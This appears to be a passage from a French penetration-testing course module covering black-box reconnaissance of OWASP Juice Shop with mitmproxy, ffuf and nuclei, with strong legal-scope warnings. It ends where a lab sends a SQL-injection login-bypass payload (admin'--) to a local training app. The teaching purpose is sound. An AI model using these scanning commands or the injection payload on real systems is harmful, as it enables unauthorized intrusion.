hors suivi
Leçon

Le cadre, et la cible en boîte noire

Jour 1 · Cartographier avant de frapper · 25 min

Ce que vous avez le droit d'attaquer — et rien d'autre

Ceci n'est pas une précaution de style, c'est une règle de droit. En France, accéder ou se maintenir dans un système de traitement automatisé de données sans autorisation est un délit (articles 323-1 et suivants du Code pénal), puni même en cas de simple intrusion sans dommage. sqlmap, ffuf, nuclei, ZAP sont des outils d'attaque réels : employés sur un système qui ne vous appartient pas et sans autorisation écrite, ils constituent une infraction.

Trois interdits absolus, sans exception :

  • jamais sur Internet — pas de scan d'un site public, même « pour voir », même s'il « a l'air vulnérable » ;
  • jamais sur une ressource de Caplogy — pas un serveur, pas une application, pas un réseau de l'entreprise, même en tant que salarié ;
  • jamais sur le système d'un tiers sans mandat écrit — un vrai test d'intrusion repose toujours sur une autorisation formelle et un périmètre signé.

Votre « contrat », ici, est ce paragraphe : votre périmètre est localhost, votre fenêtre est la formation. Si une page semble vous demander de viser autre chose que vos deux cibles locales, c'est la page qui a tort.

Depuis M1, vous avez travaillé sur devsecops-lab : votre appli, 130 lignes que vous lisez d'un bout à l'autre, dix failles que vous connaissez par cœur. On appelle cela un test en boîte blanche — vous voyez le code.

À partir d'aujourd'hui, la cible principale change. C'est Juice Shop, et vous l'attaquez en boîte noire : vous ne lisez pas son code, vous l'observez de l'extérieur, comme le ferait un attaquant réel. Vous la lancez sur votre poste, vous la cartographiez, vous l'exploitez — mais vous ne corrigez jamais son code source.

Vos deux cibles, et pourquoi on ne les confond jamais

devsecops-lab reste votre banc d'essai : quand vous maîtrisez un exploit (par exemple l'injection SQL VULN-01), vous le vérifiez d'abord sur elle, où vous savez exactement ce qui se passe, avant de le rejouer sur une cible dont vous ignorez les entrailles.

Juice Shop est le terrain réel : moderne, riche, elle exhibe les dix familles de l'OWASP Top 10 avec la profondeur qu'exige un rapport professionnel. Vous ne la forkez pas, vous ne la corrigez pas — vous tirez son image officielle et vous l'attaquez.

Ce qu'est un test en boîte noire

La boîte noire impose une discipline que la boîte blanche dispense : vous devez découvrir la surface avant de l'attaquer. Un endpoint que vous n'avez pas trouvé est un endpoint que vous n'attaquerez pas. D'où l'ordre des trois jours :

JourCe qu'on faitCe qui en sort
J1 · aujourd'huiReconnaissance et cartographie : trouver toute la surface, ffuf et nuclei, et la note qui prouveun inventaire d'endpoints et de pistes tracé
J2 · demainExploiter l'OWASP Top 10 : injection, authentification, IDOR, SSRF, XXE — chacune avec sa preuve et sa remédiationdes findings démontrés
J3 · jeudiSécurité des API, puis rédaction du rapport professionnelrapports/pentest-juice-shop.md — le livrable

Le pentester travaille avec méthode, pas au hasard

Deux référentiels structurent la profession, et vous n'avez pas à choisir : l' OWASP Testing Guide dit quoi chercher (les familles de vulnérabilités), le PTES (Penetration Testing Execution Standard) dit dans quel ordre — reconnaissance, modélisation des menaces, exploitation, post-exploitation, rapport. Ce module suit cet enchaînement, appliqué à une seule application web.

La boîte noire n'est pas une boîte fermée

« Boîte noire » veut dire que vous n'avez pas le code — pas que vous n'avez droit à rien. Vous avez un compte que vous créez vous-même, un navigateur, un proxy d'interception. Un attaquant réel aussi. La discipline consiste à noter ce que vous déduisez de l'extérieur, sans jamais supposer ce que vous n'avez pas observé.

✓ terminé
Leçon

Reconnaissance, cartographie, et la note qui prouve

Jour 1 · Cartographier avant de frapper · 30 min

Un test d'intrusion se joue à ses deux extrémités. Au début, la reconnaissance : ce que vous ne trouvez pas, vous ne l'attaquerez pas. À la fin, le rapport : ce que vous n'avez pas noté n'existe pas. Entre les deux, l'exploitation n'est que la partie visible.

1 · Reconnaissance ce qui existe versions, endpoints 2 · Cartographie la surface entière ffuf, nuclei, proxy 3 · Exploitation la preuve sqlmap, IDOR, SSRF 4 · Rapport ce qu'on remet findings, CVSS, remédiation Rien de ce qui n'est pas noté à l'étape 1 ou 2 n'existe à l'étape 4 : la note EST le test.
Les quatre temps d'un test d'intrusion. La valeur se joue aux extrémités : une reconnaissance bâclée manque des cibles, un rapport bâclé perd tout le travail.

Reconnaissance ≠ cartographie

Deux gestes distincts, qu'on confond souvent :

ReconnaissanceCartographie
QuestionQu'est-ce qui tourne ?Quelle est toute la surface ?
ObjetVersions, technologies, en-têtes, points d'entrée visiblesRépertoires, paramètres, routes d'API cachées
OutilsNavigateur, curl -I, proxy d'interception, robots.txtffuf (fuzzing), nuclei (signatures), le crawler du proxy
Erreur typeSe fier à la page d'accueil et croire avoir tout vuFuzzer sans filtrer les réponses — on se noie dans le bruit

Le proxy d'interception : votre carnet de trafic

Un navigateur vous montre les pages ; il vous cache les requêtes. Un proxy d'interception se place entre le navigateur et l'application et journalise chaque appel — c'est ainsi qu'on découvre les routes d'API qu'aucun lien ne montre. Le référentiel a tranché les outils : au lieu de Burp Suite Pro (payant), vous disposez de OWASP ZAP (le DAST du parcours, déjà rencontré en M2), Burp Community (proxy manuel, Repeater bridé) et mitmproxy pour l'inspection en ligne de commande.

Pourquoi pas Burp Suite Pro

Le programme déposé cite Burp Pro ; il est payant. Tout ce que ce module demande — intercepter, rejouer une requête modifiée, cartographier — se fait avec Burp Community, ZAP et mitmproxy, tous libres. On le dit explicitement pour que personne ne cherche une licence qu'il n'aura pas.

La discipline de la note : elle EST le test

C'est la leçon qu'aucun outil n'apprend et que tout rapport trahit. Un pentester passe plus de temps à écrire qu'à attaquer. La règle tient en trois points :

  • Une preuve = une commande + sa sortie. Pas « le paramètre q est injectable » mais la requête exacte et la réponse obtenue, horodatées. Trois jours plus tard, vous ne vous souviendrez plus, et un finding sans preuve rejouable n'est pas un finding, c'est une opinion.
  • Collez la sortie même quand elle est vide. « nuclei n'a rien remonté sur cette catégorie » est un résultat daté, pas une absence de résultat.
  • Séparez le brut du propre. Un fichier artefacts/ reçoit les sorties d'outils au fil de l'eau ; le rapport de J3 les met en forme. Ne rédigez jamais directement dans le rapport : vous perdriez la trace.
L'arborescence est déjà là

Votre dépôt devsecops-lab porte depuis M1 un dossier artefacts/ (non versionné, dans le .gitignore) et un dossier rapports/ (versionné). Le pentest de Juice Shop vit dans ces deux dossiers : les sorties brutes dans artefacts/, le rapport final dans rapports/pentest-juice-shop.md. Rien de nouveau à créer, tout est en place.

Pour vous repérer

La faute qui se paie à J3 se commet ici, à J1 : attaquer sans noter, en se disant « je documenterai après ». Vous ne documenterez pas — vous aurez oublié quelle charge exacte avait marché, sur quel endpoint, à quelle heure. Prenez l'habitude dès la première commande : chaque sortie utile est collée dans artefacts/ avec la commande qui l'a produite. Test : ouvrez artefacts/ ; si vous ne pouvez pas rejouer un constat à partir de ce qui s'y trouve, la note n'est pas terminée.

✓ terminé
Quiz

Quiz — Cadre et méthode

Jour 1 · Cartographier avant de frapper · 10 min

1. Vous voulez essayer nuclei avant le TP. Sur quelle cible avez-vous le droit de le lancer, dans le cadre de ce parcours ?

2. Pourquoi vérifier un exploit d'injection SQL sur devsecops-lab avant de le porter sur Juice Shop ?

3. Quelle est la différence entre reconnaissance et cartographie ?

4. À quoi sert un proxy d'interception que le navigateur seul ne fournit pas ?

5. Un finding de votre rapport indique « le paramètre q est vulnérable au XSS ». Que lui manque-t-il pour être un finding et non une opinion ?

Pour vous repérer

Après correction, reprenez à voix haute chaque question manquée et dites pourquoi l'option cochée était fausse — si vous ne pouvez pas le formuler sans relire l'explication, ce n'est pas acquis. q1 en particulier n'est pas un détail : elle décide de ce que vous avez le droit de taper dans les trois prochains jours.

✓ terminé
Travaux pratiques

TP 1 — Lancer la cible et la cartographier à la main

Jour 1 · Cartographier avant de frapper · 1 h 30

Déployer Juice Shop en local, capter son trafic au proxy et dresser l'inventaire des endpoints — la fondation de tout le reste.

Rappel de périmètre

Tout ce TP vise http://localhost:3000 (Juice Shop) et http://localhost:5000 (devsecops-lab), sur votre poste. Aucune commande de ce module ne doit sortir de localhost.

Le réseau Docker dso-net existe depuis M1. Vérifiez-le (docker network ls | grep dso-net) ; s'il manque, docker network create dso-net.

  1. Remettez la cible en route. Le conteneur existe depuis le 3 août : vous l'avez créé au module 1 et arrêté chaque soir. Un docker run sec échouerait sur name already in use — la forme ci-dessous démarre l'existant et ne le recrée que s'il a disparu. L'image est épinglée : la même version depuis le premier jour, donc exactement les mêmes failles. Juice Shop met ~20 s à démarrer.
    docker start juice-shop 2>/dev/null || \
      docker run -d --name juice-shop --network dso-net \
        -p 3000:3000 bkimminich/juice-shop:v17.3.0
    
    # attendre le demarrage, puis verifier que la page repond
    sleep 20
    curl -s -o /dev/null -w 'juice-shop  %{http_code}\n' http://localhost:3000/
  2. Si vous avez dû recréer le conteneur, sachez ce que vous venez de perdre : Juice Shop garde son état en mémoire, donc les comptes, les commandes et la progression du 3 août ont disparu. Sans conséquence pour ce module — vous partez de la boîte noire — mais notez-le : c'est le même raisonnement que pour un environnement d'attaque jetable.
  3. Vous devez lire juice-shop 200. Ouvrez http://localhost:3000 dans votre navigateur : la boutique s'affiche. Ne cliquez pas au hasard — vous allez d'abord regarder comment elle parle au serveur.
  4. Commencez la reconnaissance par les en-têtes et les fichiers publics. Ces trois commandes sont vos premières lignes de note : collez chaque sortie dans artefacts/recon-juice-shop-2026-08-18.txt.
    curl -sI http://localhost:3000/ | tee -a artefacts/recon-juice-shop-2026-08-18.txt
    curl -s http://localhost:3000/robots.txt
    # la page d'accueil charge un bundle JS : reperez-y la version et les routes d'API
    curl -s http://localhost:3000/ | grep -oE 'main[^"]*\.js' | head
  5. Notez ce que révèle robots.txt : il mentionne /ftp. Un répertoire qu'un fichier destiné aux robots pointe du doigt est toujours à visiter — c'est du renseignement offert.
  6. Visitez ce répertoire. Une boutique ne devrait pas exposer un serveur de fichiers.
    curl -s http://localhost:3000/ftp/ | grep -oE 'href="[^"]+"' | head -20
  7. Vous voyez une liste de fichiers (documents légaux, sauvegardes). C'est votre premier constat de reconnaissance : exposition de fichiers internes. Notez-le avec l'URL exacte — vous le coterez en finding plus tard.
  8. Passez à la cartographie du trafic réel. Lancez mitmproxy en mode transparent de capture, ou configurez ZAP en proxy. Voici la voie mitmproxy, la plus rapide à scripter. Il écoute sur 8080 ; pointez votre navigateur (ou curl) dessus.
    # terminal A : lancer le proxy qui journalise tout dans un fichier
    mitmdump --set confdir=~/.mitmproxy -p 8080 -w artefacts/juice-trafic.flows
    
    # terminal B : router quelques requetes a travers le proxy
    curl -s -x http://localhost:8080 http://localhost:3000/rest/products/search?q=apple >/dev/null
    curl -s -x http://localhost:8080 http://localhost:3000/api/Products >/dev/null
    curl -s -x http://localhost:8080 http://localhost:3000/rest/user/whoami >/dev/null
  9. Rejouez le fichier capturé pour lire les routes touchées. Vous découvrez la double façade de l'application : /rest/... et /api/.... Aucun lien de page ne les nomme — c'est le proxy qui les a révélées.
  10. Relisez le trafic hors ligne et extrayez la liste des chemins vus. C'est le squelette de votre carte.
    mitmdump -nr artefacts/juice-trafic.flows \
      --set flow_detail=1 2>/dev/null | grep -oE '(GET|POST) https?://[^ ]+'
  11. Créez maintenant, à la main, la première version de votre carte dans artefacts/endpoints.md : un tableau avec, pour chaque endpoint trouvé, la méthode HTTP, le chemin, ce que vous croyez qu'il fait, et si un paramètre y semble manipulable. Cette carte grandira avec ffuf (TP 2) et nuclei (TP 3).
  12. Dernier réflexe : créez un compte sur la boutique (bouton « Account » puis « Not yet a customer? »). Un attaquant en boîte noire commence toujours par obtenir un compte légitime — c'est depuis l'intérieur, avec des droits d'utilisateur ordinaire, que se trouvent l'IDOR et l'élévation de privilèges de demain.
Questions de réflexion — à préparer par écrit
  • Le fichier robots.txt vous a mené à /ftp. En quoi ce fichier, censé « protéger » un site, aide-t-il au contraire l'attaquant ?
  • Vous avez trouvé les routes /rest et /api par le proxy, pas par le navigateur. Qu'est-ce que cela dit de la surface d'attaque réelle d'une application web moderne ?
  • Pourquoi créer un compte utilisateur ordinaire est-il un préalable à la recherche d'IDOR, plutôt qu'une étape secondaire ?
Pour vous repérer

Deux pièges d'installation. D'abord, Juice Shop met une vingtaine de secondes à démarrer : un curl lancé trop tôt renvoie 000 ou connection refused, ce n'est pas une panne, attendez. Ensuite, si docker run répond que le nom juice-shop est déjà pris, le conteneur existe déjà : docker ps -a puis docker start juice-shop — ne le recréez pas à chaque fois. Test de fin de TP : ouvrez artefacts/endpoints.md ; si vous ne pouvez pas dire, pour trois endpoints, ce qu'ils font et par où les attaquer, la carte n'est pas prête pour demain.

✓ terminé
Travaux pratiques

TP 2 — Fuzzing de contenu et de paramètres (ffuf)

Jour 1 · Cartographier avant de frapper · 1 h 15

Débusquer les chemins et paramètres qu'aucun lien ne montre, et surtout apprendre à filtrer le bruit — sans quoi le fuzzing ne dit rien.

ffuf en une phrase

ffuf envoie une requête par mot d'une liste, en remplaçant le marqueur FUZZ par chaque mot, et vous montre les réponses. C'est puissant et bruyant : la compétence n'est pas de lancer ffuf, c'est de filtrer ses réponses pour ne garder que le signal. Installé au module d'accueil (brew install ffuf) ; vérifiez avec ffuf -V.

  1. Créez d'abord une petite liste de mots. En engagement réel vous utiliseriez SecLists (des dizaines de milliers d'entrées) ; ici une liste courte suffit à comprendre le mécanisme et reste reproductible hors ligne.
    mkdir -p artefacts
    cat > artefacts/mots.txt <<'EOF'
    ftp
    rest
    api
    assets
    metrics
    robots.txt
    sitemap.xml
    admin
    administration
    profile
    snippets
    redirect
    b2b
    promotion
    video
    EOF
  2. Lancez ffuf naïvement, en ne gardant que les codes « intéressants ». Regardez le résultat avant de lire la suite : il est trompeur.
    ffuf -w artefacts/mots.txt \
      -u http://localhost:3000/FUZZ \
      -mc 200,301,302,403
  3. Surprise : presque tout renvoie 200. Ce n'est pas que tout existe — Juice Shop est une application monopage (Angular) qui répond 200 avec la même page d'accueil pour presque toute URL inconnue. C'est un faux 404 : le serveur ne dit pas « absent », il sert son index. Filtrer par code de statut ne sert donc à rien ici. C'est LA leçon du fuzzing web moderne.
  4. La parade : filtrer par taille de réponse, ou mieux, laisser ffuf calibrer automatiquement la réponse « normale » et écarter tout ce qui lui ressemble. C'est l'option -ac (auto-calibration).
    ffuf -w artefacts/mots.txt \
      -u http://localhost:3000/FUZZ \
      -ac \
      -o artefacts/ffuf-dirs.json -of json
  5. Cette fois, seules les vraies découvertes ressortent — /ftp, /rest, /api, /metrics, /assets — parce que leurs réponses diffèrent de la page d'accueil calibrée. Ouvrez artefacts/ffuf-dirs.json : c'est une preuve datée, pas une capture d'écran.
  6. Vérifiez une découverte à la main. /metrics sur une boutique, c'est inhabituel — un endpoint de supervision Prometheus exposé sans authentification.
    curl -s http://localhost:3000/metrics | head -20
  7. Vous lisez des métriques internes (mémoire, requêtes, versions). Constat de reconnaissance : endpoint de supervision exposé. Ajoutez-le à artefacts/endpoints.md avec la commande qui le prouve.
  8. Passez au fuzzing de paramètres. Un endpoint peut accepter des paramètres qu'aucune documentation ne liste ; les découvrir, c'est trouver des points d'injection cachés. On mesure d'abord la taille d'une réponse « paramètre inconnu » pour savoir quoi filtrer.
    # reponse de reference avec un parametre bidon
    curl -s 'http://localhost:3000/rest/products/search?xyz=1' | wc -c
    
    # puis fuzzer les NOMS de parametres, en filtrant la taille de reference
    # (remplacez 1234 par la taille obtenue ci-dessus)
    ffuf -w artefacts/mots.txt \
      -u 'http://localhost:3000/rest/products/search?FUZZ=test' \
      -fs 1234
  9. Le paramètre q n'est pas dans votre petite liste, mais vous le connaissez déjà du TP 1 (search?q=). Ajoutez q à mots.txt et relancez : sa réponse diffère, il ressort. Vous venez de retrouver, par une méthode systématique, le paramètre que vous exploiterez en injection demain.
  10. Consolidez : votre artefacts/endpoints.md doit maintenant porter chaque chemin trouvé, sa source (proxy, ffuf, robots), et une colonne « à tester » pour les paramètres suspects. Un commit sur devsecops-lab avec ces artefacts (ils sont dans .gitignore, mais endpoints.md peut aller dans rapports/ si vous voulez le versionner).
Questions de réflexion — à préparer par écrit
  • Filtrer par code de statut n'a rien donné sur Juice Shop. Pourquoi les applications monopages rendent-elles le fuzzing par statut inopérant, et qu'est-ce qui le remplace ?
  • L'auto-calibration -ac a « deviné » la réponse normale. Dans quel cas pourrait-elle se tromper et masquer une vraie découverte ?
  • Vous avez retrouvé le paramètre q par fuzzing alors que vous le connaissiez déjà. Quel intérêt à le redécouvrir par une méthode systématique plutôt que de mémoire ?
Pour vous repérer

Le moment où l'on croit que ffuf est cassé : tout renvoie 200 et la liste est illisible. Ce n'est pas ffuf, c'est l'application monopage qui sert son index pour tout. Le réflexe est -ac (ou -fs avec la taille de la page d'accueil) — jamais -mc seul sur une SPA. Deuxième piège : une liste de mots trop courte ne trouve que ce qu'on y a mis ; c'est voulu ici pour rester hors ligne, mais dites-le dans votre note, sinon votre rapport laissera croire que la surface est plus petite qu'elle ne l'est. Test : vous devez pouvoir expliquer pourquoi -mc 200 est inutile sur cette cible et -ac pertinent.

✓ terminé
Leçon

nuclei : la puissance et la limite des signatures

Jour 1 · Cartographier avant de frapper · 20 min

ffuf découvre des chemins ; il ne dit rien de ce qu'ils valent. nuclei va plus loin : il envoie des requêtes conçues pour reconnaître des vulnérabilités connues et des mauvaises configurations, à partir d'une bibliothèque de milliers de templates — des signatures écrites en YAML par la communauté.

Ce qu'un template décrit

Un template dit : « envoie telle requête ; si la réponse contient tel motif ou renvoie tel code, c'est telle faiblesse ». Panneaux d'administration exposés, fichiers de configuration accessibles, versions à CVE connue, en-têtes de sécurité manquants, fuites de jetons : tout ce qui a une signature stable.

La force : large et rapide

Là où vous testeriez un point à la main, nuclei en teste des milliers en quelques minutes. C'est l'outil idéal pour ne rien manquer de ce qui est déjà catalogué : les erreurs de configuration classiques, les technologies obsolètes, les secrets exposés.

La limite : il ne trouve que ce qu'un template décrit

nuclei ne « comprend » rien. Il ne trouvera jamais une faille de logique métier — un IDOR sur votre panier, une élévation de privilège par un champ caché, un enchaînement d'appels qui contourne un contrôle. Ces failles n'ont pas de signature parce qu'elles dépendent du sens de votre application. C'est exactement ce que vous exploiterez à la main demain, et c'est pourquoi un scanner ne remplacera jamais un pentester.

La place de nuclei dans votre méthode

nuclei complète la cartographie : il confirme et enrichit ce que ffuf et le proxy ont trouvé, et il ajoute une couche de vérifications connues. Ce qu'il remonte est du signal pré-mâché — à vérifier à la main avant d'en faire un finding, jamais à recopier tel quel. Un scanner qui « trouve » n'a rien prouvé tant que vous n'avez pas rejoué son constat.

OutilTrouveNe trouve pas
ffufDes chemins et paramètres inconnusCe qu'ils valent
nucleiDes faiblesses cataloguées (config, CVE, exposition)La logique métier (IDOR, BOLA, enchaînements)
Vous, à la mainLa logique métier et les enchaînementsRien — c'est vous qui décidez ce qui est une vulnérabilité
✓ terminé
Travaux pratiques

TP 3 — Scan par templates avec nuclei

Jour 1 · Cartographier avant de frapper · 1 h 15

Passer Juice Shop au crible des signatures connues, vérifier chaque remontée à la main, et enrichir la carte — sans confondre scan et preuve.

nuclei tourne en conteneur, sur dso-net

On lance nuclei via son image épinglée sur le réseau dso-net : il joint la cible par son nom de conteneur, http://juice-shop:3000, pas par localhost (qui, dans un conteneur, désigne le conteneur lui-même).

Au tout premier lancement, nuclei télécharge sa bibliothèque de templates : cela demande une connexion, une seule fois. Une fois les templates en cache, les scans suivants tournent hors ligne.

  1. Lancez un premier scan large, en écrivant le résultat en JSON-lignes dans artefacts/. On monte le dossier pour récupérer la sortie.
    docker run --rm --network dso-net \
      -v "$(pwd)/artefacts":/out \
      projectdiscovery/nuclei:v3.3.0 \
      -u http://juice-shop:3000 \
      -jsonl -o /out/nuclei.jsonl
  2. Le scan défile et remonte des lignes classées par sévérité (info, low, medium…). Attendez la fin. Chaque ligne du fichier artefacts/nuclei.jsonl est un objet JSON : un template déclenché, l'URL touchée, la preuve extraite.
  3. Lisez la sortie proprement. Ce court script imprime, pour chaque remontée, sa sévérité, le template déclenché et l'URL touchée.
    python3 - <<'PY'
    import json
    for line in open("artefacts/nuclei.jsonl"):
        o = json.loads(line)
        sev = o.get("info", {}).get("severity", "?")
        print(f'{sev:9} {o.get("template-id", "?"):34} {o.get("matched-at", "")}')
    PY
  4. Vous retrouvez, catalogués, des constats que vous aviez déjà (le serveur de fichiers, l'endpoint de métriques) et d'autres nouveaux : détection de technologie, en-têtes de sécurité manquants, éventuellement une fuite d'information. C'est le signal pré-mâché de la leçon — utile, mais pas encore prouvé.
  5. Ciblez ensuite un scan plus utile en filtrant par sévérité, pour vous concentrer sur ce qui compte et écarter les dizaines de remontées info.
    docker run --rm --network dso-net \
      -v "$(pwd)/artefacts":/out \
      projectdiscovery/nuclei:v3.3.0 \
      -u http://juice-shop:3000 \
      -severity medium,high,critical \
      -jsonl -o /out/nuclei-medium-plus.jsonl
  6. Prenez maintenant une remontée et vérifiez-la à la main. Par exemple, si nuclei signale des en-têtes de sécurité manquants, confirmez-le vous-même : la preuve d'un finding, c'est votre commande, jamais celle du scanner.
  7. Vérification manuelle des en-têtes de sécurité — comparez ce que renvoie la cible à ce qu'on attend (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
    curl -sI http://localhost:3000/ \
      | grep -iE 'content-security|x-frame|strict-transport|x-content-type' \
      || echo 'aucun en-tete de securite renvoye'
  8. Le résultat (souvent : aucun de ces en-têtes) est votre preuve, datée et rejouable. C'est cela qui ira dans le rapport — pas « nuclei a dit que ».
  9. Enrichissez artefacts/endpoints.md : pour chaque remontée nuclei que vous avez vérifiée, ajoutez une ligne avec le template, votre commande de vérification et son résultat. Marquez explicitement « non vérifié » celles que vous n'avez pas confirmées — elles ne pourront pas devenir des findings en l'état.
  10. Bilan de la journée de cartographie : vous avez trois sources qui se recoupent — le proxy (trafic réel), ffuf (chemins et paramètres), nuclei (signatures connues). Ce qui apparaît dans les trois est solide ; ce qui n'apparaît que dans nuclei reste à vérifier ; ce que vous seul avez déduit (logique métier) sera le travail de demain.
Questions de réflexion — à préparer par écrit
  • nuclei et ffuf ont tous deux « trouvé » /ftp et /metrics. Qu'apporte le recoupement de deux outils sur un même constat ?
  • Vous avez marqué certaines remontées nuclei « non vérifié ». Pourquoi est-ce plus honnête que de les mettre en findings, et que risque un rapport qui recopie un scanner ?
  • nuclei n'a signalé aucune faille de logique métier. Est-ce parce que Juice Shop n'en a pas, ou parce que nuclei ne sait pas les voir ? Comment le sauriez-vous ?
Pour vous repérer

Deux points qui bloquent. Le premier scan télécharge les templates : sans réseau à ce moment-là, nuclei se plaint de ne pas les trouver — lancez-le une fois connecté, ensuite c'est hors ligne. Et depuis le conteneur, la cible est http://juice-shop:3000, pas localhost : un connection refused vient presque toujours de là. Le piège de fond, lui, est de recopier la sortie nuclei dans le rapport : une remontée de scanner n'est pas un finding tant que vous ne l'avez pas rejouée vous-même. Test : pour chaque ligne que vous gardez, vous devez avoir votre propre commande de vérification à côté.

✓ terminé
Travaux pratiques

TP 4 — Le carnet de reconnaissance : la matière du rapport

Jour 1 · Cartographier avant de frapper · 45 min

Consolider une journée de recon en deux livrables propres : la carte des endpoints et la trame « périmètre et méthodologie » du futur rapport.

Pourquoi rédiger maintenant

La cartographie faite, il faut la figer pendant qu'elle est fraîche. Ces deux livrables sont exactement ce que le point de contrôle de ce soir vérifie, et la partie 2 du rapport de jeudi. Rédigés maintenant, ils prennent 45 minutes ; reconstitués jeudi de mémoire, ils seront faux.

  1. Finalisez artefacts/endpoints.md. Une ligne par endpoint, avec : méthode HTTP, chemin, source de la découverte (proxy / ffuf / nuclei / robots), ce qu'il fait, et une colonne « à tester » (injection ? autorisation ? SSRF ?). C'est votre plan d'attaque de demain.
  2. Ouvrez le rapport et posez son en-tête et sa partie 2, la seule que vous puissiez écrire dès aujourd'hui. Le reste se remplira jeudi.
    mkdir -p rapports
    cat > rapports/pentest-juice-shop.md <<'EOF'
    # Rapport de test d'intrusion — OWASP Juice Shop
    
    ## 1. Resume executif
    _(a rediger en dernier, jeudi — 1 page sans jargon)_
    
    ## 2. Perimetre et methodologie
    - Cible : OWASP Juice Shop, image bkimminich/juice-shop:v17.3.0
    - Adresse : http://localhost:3000 (conteneur local, reseau dso-net)
    - Type de test : boite noire, sans acces au code source
    - Autorise : la cible locale uniquement ; aucun systeme tiers, aucun acces Internet
    - Hors-scope : toute ressource autre que localhost:3000
    - Periode : 18-20 aout 2026
    - Methode : reconnaissance (proxy, robots), cartographie (ffuf, nuclei),
      exploitation manuelle de l'OWASP Top 10, verification par rejeu.
    - Outils : mitmproxy, ffuf 2.1.0, nuclei 3.3.0, sqlmap 1.8.7, OWASP ZAP 2.15.0.
    
    ## 3. Synthese des findings
    _(tableau F-NN / titre / severite / CVSS / statut — a remplir)_
    
    ## 4. Findings detailles
    _(un bloc par vulnerabilite, gabarit du referentiel)_
    
    ## 5. Feuille de route de remediation
    _(findings ordonnes par severite puis effort)_
    
    ## 6. Annexes
    _(commandes rejouables, sorties d'outils, references CWE/OWASP)_
    EOF
  3. Relisez votre partie 2 comme le ferait un client : est-ce qu'un tiers, sans votre poste, comprend ce qui a été testé, sur quoi, et ce qui était interdit ? La ligne « autorisé / hors-scope » n'est pas décorative — c'est ce qui protège juridiquement un pentester, et c'est ici l'exacte transcription de votre cadre de parcours.
  4. Dressez enfin une liste de pistes dans artefacts/pistes.md : pour chaque endpoint « à tester », l'hypothèse d'attaque et l'outil pressenti. Demain, vous n'improviserez pas — vous déroulerez cette liste. C'est la différence entre un test méthodique et une exploration au hasard.
  5. Versionnez ce qui doit l'être : rapports/pentest-juice-shop.md va dans Git (c'est un livrable), les sorties brutes d'artefacts/ restent hors Git (.gitignore). Un commit : « pentest juice-shop : reconnaissance et carte ».
Questions de réflexion — à préparer par écrit
  • La partie 2 (périmètre et méthodologie) est la seule rédigeable dès le premier jour. Pourquoi est-ce aussi, juridiquement, la plus importante du rapport ?
  • Votre liste de pistes engage la journée de demain. Que gagnez-vous à la figer ce soir plutôt qu'à improviser demain matin ?
Pour vous repérer

La tentation, à 16 h, est de bâcler ce TP « puisque ce n'est que de la rédaction ». C'est l'inverse : c'est le seul moment où votre reconnaissance est intégralement en tête. Ce que vous ne consignez pas maintenant sera à re-trouver demain, temps perdu sur l'exploitation. Test : votre pistes.md doit contenir au moins un point d'injection, un point d'autorisation (IDOR) et une piste SSRF ou XXE — sinon la journée de demain n'a pas de plan.

✓ terminé
Point de contrôle

M5 · J1 — Surface cartographiée : endpoints, ffuf et nuclei tracés

Jour 1 · Cartographier avant de frapper · 30 min

Vérifiez avant de continuer
Point avec votre encadrant — mardi 18 août, 16 h 30

30 minutes à distance avec Samer. Il ne relira pas toutes vos sorties : il ouvrira artefacts/endpoints.md et vous demandera, pour deux ou trois endpoints, ce que vous comptez y tester demain et pourquoi. Si vous savez répondre, votre cartographie est bonne.

Préparez une phrase sur le faux 404 des SPA : c'est le concept du jour, et c'est ce qui distingue quelqu'un qui a lancé ffuf de quelqu'un qui l'a compris.

✓ terminé
Leçon

L'OWASP Top 10, arme à la main

Jour 2 · Exploiter le Top 10, prouver, corriger · 25 min

Vous connaissez l'OWASP Top 10 depuis M1, du côté du défenseur. Aujourd'hui vous le prenez par l'autre bout : ce n'est plus une liste de risques à éviter, c'est une liste de choses à essayer, dans l'ordre, sur chaque endpoint de votre carte.

Le Top 10 2021 range les faiblesses par famille. Voici celles que vous exploitez aujourd'hui, ce qu'elles valent sur Juice Shop, et l'équivalent que vous connaissez déjà sur devsecops-lab — c'est le pont entre votre banc d'essai en boîte blanche et la cible en boîte noire.

Famille OWASP 2021Ce qu'on exploite aujourd'huiVous connaissez déjà (devsecops-lab)
A01 — Contrôle d'accès défaillantIDOR / BOLA : lire le panier d'un autre utilisateurVULN-04 — /profile/<uid>
A03 — InjectionSQLi : contourner l'authentification, extraire la base (sqlmap)VULN-01 — /login concaténé ; VULN-02 — XSS
A07 — Défaillances d'authentificationAbsence de limitation, jetons lisibles, réinitialisation faible
A10 — SSRFFaire appeler par le serveur une ressource interneVULN-08 — /fetch
A05 / A08 — Mauvaise config / désérialisationXXE : faire lire un fichier au parseur XMLVULN-07 — yaml.load

La règle du jour : exploiter, prouver, remédier

Chaque faille suit le même triptyque, et aucune étape n'est facultative :

  • Exploiter — obtenir un effet concret (un accès, une donnée, un comportement) et non un simple « ça a l'air vulnérable ».
  • Prouver — la commande exacte et sa sortie, rejouables par un tiers. C'est ce qui deviendra un finding.
  • Remédier — dire comment on ferme, et le vérifier. Sur Juice Shop la remédiation est conceptuelle (vous ne touchez pas son code) ; sur devsecops-lab, où vous corrigez VULN-04 et VULN-08 cet après-midi, elle est réelle et vérifiée par rejeu.
Prouver n'est pas casser plus que nécessaire

Un pentester s'arrête à la preuve. Vous démontrez qu'un accès non autorisé est possible ; vous ne videz pas la base, vous ne détruisez rien, vous ne pivotez pas au-delà du périmètre. La preuve minimale suffisante est la marque du professionnel — et elle protège la cible autant que vous.

L'ordre suit votre carte, pas votre humeur

Vous avez une liste de pistes depuis hier (artefacts/pistes.md). Déroulez-la. Un test méthodique traite chaque endpoint de la carte ; une exploration au hasard « tombe » sur des failles et en manque autant. C'est la carte qui garantit la couverture, pas l'intuition.

✓ terminé
Travaux pratiques

TP 5 — Injection : de la faille connue à la cible inconnue (sqlmap)

Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15

Confirmer l'injection SQL sur votre banc d'essai, puis la porter sur Juice Shop — à la main pour comprendre, avec sqlmap pour aller au fond.

devsecops-lab doit tourner

On commence sur votre appli, dont vous connaissez le code. Assurez-vous qu'elle répond : docker start devsecops-lab puis curl -s -o /dev/null -w '%{http_code}\n' http://localhost:5000/. Juice Shop tourne toujours sur 3000 depuis hier.

  1. Rejouez d'abord l'injection que vous connaissez : sur devsecops-lab, le /login concatène ses paramètres (VULN-01). Une apostrophe suivie d'un commentaire SQL contourne le mot de passe.
    curl -s -X POST http://localhost:5000/login \
      --data "user=admin'--&pwd=peu_importe"
